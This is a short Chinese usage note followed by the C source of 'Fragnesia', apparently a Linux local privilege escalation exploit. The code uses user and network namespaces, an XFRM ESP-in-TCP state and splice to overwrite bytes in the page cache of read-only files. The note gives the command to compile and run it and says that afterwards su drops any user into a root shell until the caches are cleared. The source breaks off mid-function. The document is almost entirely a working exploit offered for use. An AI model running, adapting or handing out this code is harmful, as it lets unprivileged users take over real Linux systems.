提权
执行
- gcc -o exp fragnesia.c && ./exp
注意
提权成功后，如果不以root权限清理page cache，后续任何人执行su都会直接弹出root shell
echo 1 > /proc/sys/vm/drop_caches
代码
// Fragnesia: universal Linux LPE
// Ubuntu users: AppArmor interferes with using namespaces, you need to use
// `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`.
//
// You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability.
//
// Found with V12 by William Bowling on the V12 team
// V12 - https://v12.sh - dangerously powerful agentic security
// Patch: https://lists.openwall.net/netdev/2026/05/13/79
/*
* Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC.
*
* It only targets an already prepared disposable regular file under /tmp or
* /var/tmp. The file must be readable by the caller and should be non-writable
* to demonstrate the permission boundary.
*
* Build:
* gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace
*
* Run:
* ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445
*
* Exit codes:
* 1: vulnerable behavior verified
* 0: fixed/no mutation observed
* 2: local setup or argument error
* 4: namespace/XFRM gate closed
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#if __has_include(<linux/if_alg.h>)
#include <linux/if_alg.h>
#else
#include <linux/types.h>
struct sockaddr_alg {
__u16 salg_family;
__u8 salg_type[14];
__u32 salg_feat;
__u32 salg_mask;
__u8 salg_name[64];
};
#endif
#include <linux/netlink.h>
#include <linux/udp.h>
#include <linux/xfrm.h>
#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef TCP_ULP
#define TCP_ULP 31
#endif
#ifndef NETLINK_XFRM
#define NETLINK_XFRM 6
#endif
#ifndef TCP_ENCAP_ESPINTCP
#define TCP_ENCAP_ESPINTCP 7
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif
#ifndef ALG_OP_ENCRYPT
#define ALG_OP_ENCRYPT 1
#endif
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#define FRAG_LEN 4096
#define ESP_GCM_ICV_LEN 16
#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)
#define TCP_PORT 5556
#define PAYLOAD_LEN 192
#define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */
#define FRAME_BAR_W 50
#define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */
#define RECEIVER_PRE_ULP_US 30000
#define SENDER_PRE_SPLICE_US 1000
#define RECEIVER_POST_ULP_US 30000
static const unsigned char xfrm_aead_key[20] = {
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
0x01, 0x02, 0x03, 0x04
};
static unsigned char active_esp_gcm_iv[8] = {
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
};
static uint32_t active_esp_seq = 1;
static const char *target_file;
static char target_file_buf[PATH_MAX];
static loff_t target_splice_off;
static uint16_t stream0_nonce[256];
static bool stream0_have[256];
static void die(const char *what)
{
fprintf(stderr, "%s: %s\n", what, strerror(errno));
exit(2);
}
static void gate_fail(const char *what)
{
printf("namespace_gate_failed: %s errno=%d (%s)\n",
what, errno, strerror(errno));
exit(4);
}
static void store_be32(unsigned char *p, uint32_t v)
{
p[0] = (unsigned char)(v >> 24);
p[1] = (unsigned char)(v >> 16);
p[2] = (unsigned char)(v >> 8);
p[3] = (unsigned char)v;
}
/* ANSI colours */
#define C_RESET "\033[0m"
#define C_BOLD "\033[1m"
#define C_DIM "\033[2m"
#define C_RED "\033[31m"
#define C_GREEN "\033[32m"
#define C_YELLOW "\033[33m"
#define C_CYAN "\033[36m"
#define C_WHITE "\033[97m"
#define C_BRED "\033[1;31m"
#define C_BGRN "\033[1;32m"
#define C_BYLW "\033[1;33m"
#define C_BCYN "\033[1;36m"
#define C_BWHT "\033[1;97m"
static void print_hex_bytes(const char *label, const unsigned char *buf,
size_t len)
{
size_t i;
printf(C_DIM "%s=" C_RESET C_CYAN, label);
for (i = 0; i < len; i++)
printf("%02x", buf[i]);
printf(C_RESET "\n");
}
/* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */
static void print_hex_row(const char *path, uint64_t highlight_off,
const char *before_label, unsigned char before_val,
const char *after_label, unsigned char after_val)
{
uint64_t row_start = highlight_off & ~(uint64_t)15;
unsigned char row[16];
ssize_t got;
size_t col;
int fd;
fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd < 0)
return;
got = pread(fd, row, sizeof(row), (off_t)row_start);
close(fd);
if (got <= 0)
return;
/* Hex section */
printf(C_DIM " %016llx " C_RESET, (unsigned long long)row_start);
for (col = 0; col < 16; col++) {
if (col == 8)
printf(" ");
if ((size_t)got > col) {
if (row_start + col == highlight_off)
printf(C_BRED "[%02x]" C_RESET, row[col]);
else
printf(C_DIM "%02x " C_RESET, row[col]);
} else {
printf(C_DIM " " C_RESET);
}
}
/* ASCII section */
printf(" " C_DIM "|" C_RESET);
for (col = 0; col < (size_t)got; col++) {
unsigned char c = row[col];
if (row_start + col == highlight_off)
printf(C_BRED "%c" C_RESET,
(c >= 0x20 && c < 0x7f) ? c : '.');
else
printf(C_DIM "%c" C_RESET,
(c >= 0x20 && c < 0x7f) ? c : '.');
}
printf(C_DIM "|" C_RESET "\n");
/* Annotation line */
size_t col_off = (size_t)(highlight_off - row_start);
size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1;
printf("%*s" C_BYLW "^-- +%04llx "
C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET
" -> "
C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n",
(int)arrow_pos, "",
(unsigned long long)(highlight_off & 0xffff),
before_label, before_val,
after_label, after_val);
}
static int open_afalg_aes_ecb(void)
{
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
};
int fd;
fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
if (fd < 0)
die("socket(AF_ALG)");
strcpy((char *)sa.salg_type, "skcipher");
strcpy((char *)sa.salg_name, "ecb(aes)");
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind AF_ALG ecb(aes)");
if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0)
die("setsockopt AF_ALG key");
return fd;
}
static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16],
unsigned char out[16])
{
char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
struct iovec iov = {
.iov_base = (void *)in,
.iov_len = 16,
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
uint32_t op = ALG_OP_ENCRYPT;
ssize_t ret;
int op_fd;
op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
if (op_fd < 0)
die("accept AF_ALG");
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
ret = sendmsg(op_fd, &msg, 0);
if (ret != 16)
die("sendmsg AF_ALG block");
ret = read(op_fd, out, 16);
if (ret != 16)
die("read AF_ALG block");
close(op_fd);
}
static unsigned char aes_gcm_stream0_byte(int alg_fd,
const unsigned char iv[8])
{
unsigned char counter_block[16], stream[16];
memcpy(counter_block, &xfrm_aead_key[16], 4);
memcpy(counter_block + 4, iv, 8);
store_be32(counter_block + 12, 2);
afalg_aes_encrypt_block(alg_fd, counter_block, stream);
return stream[0];
}
static void build_stream0_table(void)
{
unsigned char iv[8] = {
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
};
unsigned int count = 0, nonce;
int alg_fd;
alg_fd = open_afalg_aes_ecb();
for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
unsigned char b;
store_be32(iv + 4, nonce);
b = aes_gcm_stream0_byte(alg_fd, iv);
if (stream0_have[b])
continue;
stream0_have[b] = true;
stream0_nonce[b] = (uint16_t)nonce;
count++;
}
close(alg_fd);
if (count != 256) {
fprintf(stderr, "failed to build complete stream-byte table: %u/256\n",
count);
exit(2);
}
printf("stream0_table_entries=256\n");
}
static void choose_iv_for_stream0(unsigned char need_stream)
{
uint16_t nonce = stream0_nonce[need_stream];
memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
store_be32(active_esp_gcm_iv + 4, nonce);
printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream);
print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv,
sizeof(active_esp_gcm_iv));
}
static uint64_t parse_u64_arg(const char *s, const char *name)
{
char *end = NULL;
unsigned long long v;
if (s[0] == '-') {
fprintf(stderr, "invalid %s: %s\n", name, s);
exit(2);
}
errno = 0;
v = strtoull(s, &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid %s: %s\n", name, s);
exit(2);
}
return (uint64_t)v;
}
static int hex_nibble(int c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return 10 + c - 'a';
if (c >= 'A' && c <= 'F')
return 10 + c - 'A';
return -1;
}
static bool is_hex_separator(int c)
{
return c == ':' || c == ',' || c == '-' || c == '_' ||
c == ' ' || c == '\t' || c == '\n' || c == '\r';
}
static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out)
{
size_t cap = strlen(s) / 2 + 1, len = 0;
unsigned char *buf;
int hi = -1, v;
buf = malloc(cap);
if (!buf)
die("malloc desired bytes");
for (; *s; s++) {
if (is_hex_separator((unsigned char)*s))
continue;
if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) {
s++;
continue;
}
v = hex_nibble((unsigned char)*s);
if (v < 0) {
fprintf(stderr, "invalid hex byte string near '%c'\n", *s);
exit(2);
}
if (hi < 0) {
hi = v;
continue;
}
buf[len++] = (unsigned char)((hi << 4) | v);
hi = -1;
}
if (hi >= 0) {
fprintf(stderr, "hex byte string has an odd number of nibbles\n");
exit(2);
}
if (len == 0) {
fprintf(stderr, "hex byte string is empty\n");
exit(2);
}
*len_out = len;
return buf;
}
static unsigned char read_byte_at(const char *path, uint64_t off)
{
unsigned char b;
ssize_t ret;
int fd;
fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd < 0)
die("open read byte");
ret = pread(fd, &b, 1, (off_t)off);
if (ret < 0)
die("pread byte");
if (ret != 1) {
fprintf(stderr, "short pread at offset=%llu\n",
(unsigned long long)off);
exit(2);
}
close(fd);
return b;
}
static void print_file_sample(const char *label, uint64_t off, size_t len)
{
unsigned char buf[32];
ssize_t ret;
int fd;
if (len > sizeof(buf))
len = sizeof(buf);
fd = open(target_file, O_RDONLY | O_CLOEXEC);
if (fd < 0)
die("open sample");
ret = pread(fd, buf, len, (off_t)off);
if (ret < 0)
die("pread sample");
close(fd);
if ((size_t)ret != len) {
fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n",
(unsigned long long)off, len, ret);
exit(2);
}
print_hex_bytes(label, buf, len);
}
static uint64_t use_existing_target(const char *path)
{
struct stat lst, st;
if (lstat(path, &lst) < 0)
die("lstat target");
if (!S_ISREG(lst.st_mode)) {
fprintf(stderr, "target is not a regular file\n");
exit(2);
}
if (stat(path, &st) < 0)
die("stat target");
if (!S_ISREG(st.st_mode)) {
fprintf(stderr, "target is not a regular file\n");
exit(2);
}
if (st.st_size < FRAG_LEN) {
fprintf(stderr, "target is too small: size=%lld need>=%d\n",
(long long)st.st_size, FRAG_LEN);
exit(2);
}
if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >=
(int)sizeof(target_file_buf)) {
fprintf(stderr, "target path is too long\n");
exit(2);
}
target_file = target_file_buf;
return (uint64_t)st.st_size;
}
static void verify_write_denied(const char *label)
{
int fd;
errno = 0;
fd = open(target_file, O_WRONLY | O_CLOEXEC);
if (fd >= 0) {
close(fd);
printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n",
label);
exit(4);
}
printf("%s_write_open_denied=1 errno=%d (%s)\n",
label, errno, strerror(errno));
}
static int write_all_file_status(const char *path, const char *buf)
{
size_t len = strlen(buf);
int fd, saved_errno;
fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
return -1;
if (write(fd, buf, len) != (ssize_t)len) {
saved_errno = errno;
close(fd);
errno = saved_errno;
return -1;
}
close(fd);
return 0;
}
static void sync_write_byte(int fd)
{
char c = 'M';
if (write(fd, &c, 1) != 1)
die("sync write");
close(fd);
}
static void sync_read_byte(int fd)
{
char c;
if (read(fd, &c, 1) != 1)
die("sync read");
close(fd);
}
static void parent_map_write_or_exit(pid_t child, const char *name,
const char *data)
{
char path[128];
snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
if (write_all_file_status(path, data) < 0) {
printf("namespace_gate_failed: %s errno=%d (%s)\n",
path, errno, strerror(errno));
kill(child, SIGKILL);
waitpid(child, NULL, 0);
exit(4);
}
}
static void enter_mapped_userns(void)
{
uid_t outer_uid = getuid();
gid_t outer_gid = getgid();
int ready_pipe[2], mapped_pipe[2], status;
char map[128];
pid_t child;
if (pipe(ready_pipe) < 0)
die("pipe ready");
if (pipe(mapped_pipe) < 0)
die("pipe mapped");
child = fork();
if (child < 0)
die("fork userns mapper");
if (child > 0) {
close(ready_pipe[1]);
close(mapped_pipe[0]);
sync_read_byte(ready_pipe[0]);
snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
parent_map_write_or_exit(child, "uid_map", map);
parent_map_write_or_exit(child, "setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
parent_map_write_or_exit(child, "gid_map", map);
sync_write_byte(mapped_pipe[1]);
if (waitpid(child, &status, 0) < 0)
die("wait userns child");
if (WIFEXITED(status))
exit(WEXITSTATUS(status));
if (WIFSIGNALED(status)) {
fprintf(stderr, "userns child killed by signal %d\n",
WTERMSIG(status));
exit(2);
}
exit(2);
}
close(ready_pipe[0]);
close(mapped_pipe[1]);
if (unshare(CLONE_NEWUSER) < 0)
gate_fail("unshare(CLONE_NEWUSER)");
sync_write_byte(ready_pipe[1]);
sync_read_byte(mapped_pipe[0]);
if (setresgid(0, 0, 0) < 0)
gate_fail("setresgid 0 in userns");
if (setresuid(0, 0, 0) < 0)
gate_fail("setresuid 0 in userns");
printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n",
outer_uid, outer_gid, getuid(), getgid());
}
static void bring_loopback_up(void)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
gate_fail("socket(AF_INET)");
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
gate_fail("SIOCGIFFLAGS lo");
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
gate_fail("SIOCSIFFLAGS lo up");
close(fd);
printf("loopback_up=1\n");
}
static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen,
unsigned short type, const void *data, size_t len)
{
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
struct nlattr *nla;
if (off + NLA_HDRLEN + len > maxlen) {
fprintf(stderr, "netlink message too small\n");
exit(2);
}
nla = (struct nlattr *)((char *)nlh + off);
nla->nla_type = type;
nla->nla_len = NLA_HDRLEN + len;
memcpy((char *)nla + NLA_HDRLEN, data, len);
nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
}
static int nl_ack_errno(char *buf, ssize_t len)
{
struct nlmsghdr *nlh;
struct nlmsgerr *err;
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type != NLMSG_ERROR)
continue;
err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error == 0)
return 0;
errno = -err->error;
return -1;
}
errno = EPROTO;
return -1;
}
static void add_xfrm_espintcp_state(void)
{
char reqbuf[4096], resp[4096];
char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
struct sockaddr_nl sa = {
.nl_family = AF_NETLINK,
};
struct xfrm_usersa_info *xs;
struct xfrm_algo_aead *aead;
struct xfrm_encap_tmpl encap;
struct nlmsghdr *nlh;
ssize_t ret;
int fd;
memset(reqbuf, 0, sizeof(reqbuf));
nlh = (struct nlmsghdr *)reqbuf;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nlh->nlmsg_seq = 1;
xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1)
die("inet_pton saddr");
if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1)
die("inet_pton daddr");
xs->id.spi = htonl(0x100);
xs->id.proto = IPPROTO_ESP;
xs->family = AF_INET6;
xs->mode = XFRM_MODE_TRANSPORT;
xs->reqid = 1;
xs->lft.soft_byte_limit = XFRM_INF;
xs->lft.hard_byte_limit = XFRM_INF;
xs->lft.soft_packet_limit = XFRM_INF;
xs->lft.hard_packet_limit = XFRM_INF;
memset(aeadbuf, 0, sizeof(aeadbuf));
aead = (struct xfrm_algo_aead *)aeadbuf;
snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
aead->alg_icv_len = 128;
memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));
memset(&encap, 0, sizeof(encap));
encap.encap_type = TCP_ENCAP_ESPINTCP;
encap.encap_sport = htons(TCP_PORT);
encap.encap_dport = htons(TCP_PORT);
add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
if (fd < 0)
gate_fail("socket(NETLINK_XFRM)");
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
gate_fail("bind(NETLINK_XFRM)");
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa,
sizeof(sa));
if (ret < 0)
gate_fail("sendto XFRM_MSG_NEWSA");
if (ret != (ssize_t)nlh->nlmsg_len) {
errno = EIO;
gate_fail("short sendto XFRM_MSG_NEWSA");
}
ret = recv(fd, resp, sizeof(resp), 0);
if (ret < 0)
gate_fail("recv XFRM ack");
if (nl_ack_errno(resp, ret) < 0)
gate_fail("XFRM_MSG_NEWSA ack");
close(fd);
printf("xfrm_espintcp_state_add=1\n");
}
static void setup_user_netns_xfrm(void)
{
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
die("prctl PR_SET_DUMPABLE");
enter_mapped_userns();
if (unshare(CLONE_NEWNET) < 0)
gate_fail("unshare(CLONE_NEWNET)");
printf("netns_setup=1\n");
bring_loopback_up();
add_xfrm_espintcp_state();
printf("namespace_setup_complete=1\n");
}
static void write_ready(int fd)
{
char c = 'R';
if (write(fd, &c, 1) != 1)
die("ready write");
close(fd);
}
static void wait_ready(int fd)
{
char c;
if (read(fd, &c, 1) != 1)
die("ready read");
close(fd);
}
static void receiver(int ready_write_fd)
{
struct sockaddr_in6 addr = {
.sin6_family = AF_INET6,
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
.sin6_port = htons(TCP_PORT),
.sin6_flowinfo = 0,
.sin6_scope_id = 0,
};
char ulp[] = "espintcp";
int fd, cfd, one = 1;
fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0)
die("receiver socket");
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
die("receiver reuseaddr");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("receiver bind");
if (listen(fd, 1) < 0)
die("receiver listen");
write_ready(ready_write_fd);
cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
if (cfd < 0)
die("receiver accept");
usleep(RECEIVER_PRE_ULP_US);
if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
die("receiver TCP_ULP espintcp");
printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n",
getuid(), geteuid());
usleep(RECEIVER_POST_ULP_US);
close(cfd);
close(fd);
_exit(0);
}
static void sender(int ready_read_fd)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
.sin6_port = htons(TCP_PORT),
.sin6_flowinfo = 0,
.sin6_scope_id = 0,
};
struct {
__be16 len;
unsigned char esp[16];
} prefix;
loff_t off, start_off;
int fd, sock, p[2], one = 1;
ssize_t ret, sent;
wait_ready(ready_read_fd);
memset(&prefix, 0xcc, sizeof(prefix));
prefix.len = htons(sizeof(prefix) + FRAG_LEN);
prefix.esp[0] = 0x00;
prefix.esp[1] = 0x00;
prefix.esp[2] = 0x01;
prefix.esp[3] = 0x00;
store_be32(&prefix.esp[4], active_esp_seq);
memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
fd = open(target_file, O_RDONLY | O_CLOEXEC);
if (fd < 0)
die("sender open target");
sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (sock < 0)
die("sender socket");
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
die("sender TCP_NODELAY");
if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
die("sender connect");
sent = send(sock, &prefix, sizeof(prefix), 0);
if (sent != (ssize_t)sizeof(prefix))
die("sender send prefix");
usleep(SENDER_PRE_SPLICE_US);
if (pipe(p) < 0)
die("sender pipe");
off = target_splice_off;
start_off = off;
ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
if (ret != FRAG_LEN)
die("sender splice file to pipe");
ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
if (ret < 0)
die("sender splice pipe to tcp");
printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
getuid(), geteuid(), sent, ret, (long long)start_off,
(long long)off);
close(p[0]);
close(p[1]);
close(sock);
close(fd);
_exit(ret == FRAG_LEN ? 0 : 3);
}
static int run_trigger_pair(void)
{
int pipefd[2], st_rx, st_tx;
pid_t rx, tx;
if (pipe(pipefd) < 0)
die("pipe");
rx = fork();
if (rx < 0)
die("fork receiver");
if (rx == 0) {
close(pipefd[0]);
receiver(pipefd[1]);
}
tx = fork();
if (tx < 0)
die("fork sender");
if (tx == 0) {
close(pipefd[1]);
sender(pipefd[0]);
}
close(pipefd[0]);
close(pipefd[1]);
if (waitpid(tx, &st_tx, 0) < 0)
die("wait sender");
if (waitpid(rx, &st_rx, 0) < 0)
die("wait receiver");
printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx);
if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
!WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
return -1;
return 0;
}
static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len)
{
uint64_t n = (uint64_t)byte_len;
if (n == 0) {
fprintf(stderr, "byte range is empty\n");
exit(2);
}
if (n - 1 > UINT64_MAX - byte_off) {
fprintf(stderr, "byte range overflows uint64_t\n");
exit(2);
}
return byte_off + n - 1;
}
static void draw_smash_frame(const unsigned char *desired, size_t desired_len,
const unsigned char *live, size_t idx_current,
size_t changed, size_t skipped, int first_draw)
{
size_t done = changed + skipped;
size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W;
size_t row, col, bi, i;
/* Save cursor, jump to row 1, buffer the whole frame into one write. */
static char frame_buf[8192];
setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf));
if (!first_draw)
printf("\033[s\033[?25l\033[1;1H");
/* ── header ─────────────────────────────────────────────────── */
printf("\r\033[2K" C_BCYN "[*]" C_RESET
" smashing %zu bytes into read-only page cache"
" changed=" C_BGRN "%zu" C_RESET
" skipped=" C_DIM "%zu" C_RESET
" remaining=" C_BYLW "%zu" C_RESET "\n",
desired_len, changed, skipped,
done < desired_len ? desired_len - done : (size_t)0);
/* ── hex dump ────────────────────────────────────────────────── */
for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) {
/* col-0 highlight borrows the header's last trailing space */
int col0_hi = (idx_current < desired_len &&
row * 16 == idx_current);
printf("\r\033[2K" C_DIM " %04zx%s" C_RESET,
row * 16, col0_hi ? " " : " ");
for (col = 0; col < 16; col++) {
bi = row * 16 + col;
int cur = (idx_current < desired_len && bi == idx_current);
if (col == 8) {
/* mid-gap space becomes '[' when col 8 is current */
printf(cur ? "[" : " ");
if (cur) {
printf(C_BYLW "%02x]" C_RESET, live[bi]);
continue;
}
}
if (bi >= desired_len) { printf(" "); continue; }
if (bi < idx_current) {
printf(live[bi] == desired[bi]
? C_BGRN "%02x " C_RESET
: C_BRED "%02x " C_RESET, live[bi]);
} else if (cur) {
/* col 0: '[' was the header's borrowed space
* col 1-7, 9-15: '\b' eats the preceding byte's space */
printf(col == 0
? C_BYLW "[%02x]" C_RESET
: "\b" C_BYLW "[%02x]" C_RESET, live[bi]);
} else {
printf(C_DIM "%02x " C_RESET, desired[bi]);
}
}
printf("\n");
}
/* ── progress bar ────────────────────────────────────────────── */
printf("\r\033[2K [" C_BGRN);
for (i = 0; i < filled; i++) printf("=");
printf(C_RESET C_DIM);
for (i = filled; i < FRAME_BAR_W; i++) printf("-");
printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n",
done, desired_len,
desired_len ? done * 100 / desired_len : (size_t)100);
/* ── separator ───────────────────────────────────────────────── */
printf("\r\033[2K" C_DIM
"────────────────────────────────────────────────────────────"
C_RESET "\n");
fflush(stdout);
setvbuf(stdout, NULL, _IONBF, 0);
if (!first_draw)
printf("\033[?25h\033[u"); /* restore cursor to log area */
}
static int replace_existing_bytes_after(uint64_t byte_off,
const unsigned char *desired,
size_t desired_len,
uint64_t file_size)
{
uint64_t last = checked_byte_range_last(byte_off, desired_len);
size_t idx, changed = 0, skipped = 0;
unsigned char live_state[PAYLOAD_LEN];
int fd_init;
if (last >= file_size) {
fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n",
(unsigned long long)byte_off, desired_len,
(unsigned long long)file_size);
return 2;
}
if (last > file_size - FRAG_LEN) {
fprintf(stderr,
"collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n",
FRAG_LEN, (unsigned long long)byte_off, desired_len,
(unsigned long long)file_size);
return 2;
}
printf(C_BCYN "\n[*]" C_RESET
" timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
printf(C_BCYN "[*]" C_RESET
" range: offset=0x%llx len=%zu last=0x%llx"
" enc_len=%d splice_len=%d\n",
(unsigned long long)byte_off, desired_len,
(unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
printf(C_BCYN "[*]" C_RESET
" union: transformed=0x%llx-0x%llx"
" collateral_after=0x%llx-0x%llx\n",
(unsigned long long)byte_off,
(unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1),
(unsigned long long)(last + 1),
(unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1));
printf(C_BCYN "[*]" C_RESET " ");
print_hex_bytes("payload", desired, desired_len);
printf("\n");
build_stream0_table();
printf("\n");
/* seed live_state from the file so the hex dump has real values */
fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
if (fd_init < 0) die("open live_state init");
if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len)
die("pread live_state init");
close(fd_init);
/* clear screen so the frame starts at a known row 1 */
printf("\033[2J\033[H");
draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);
/* pin the frame to rows 1-FRAME_LINES; scroll region below */
{
struct winsize ws;
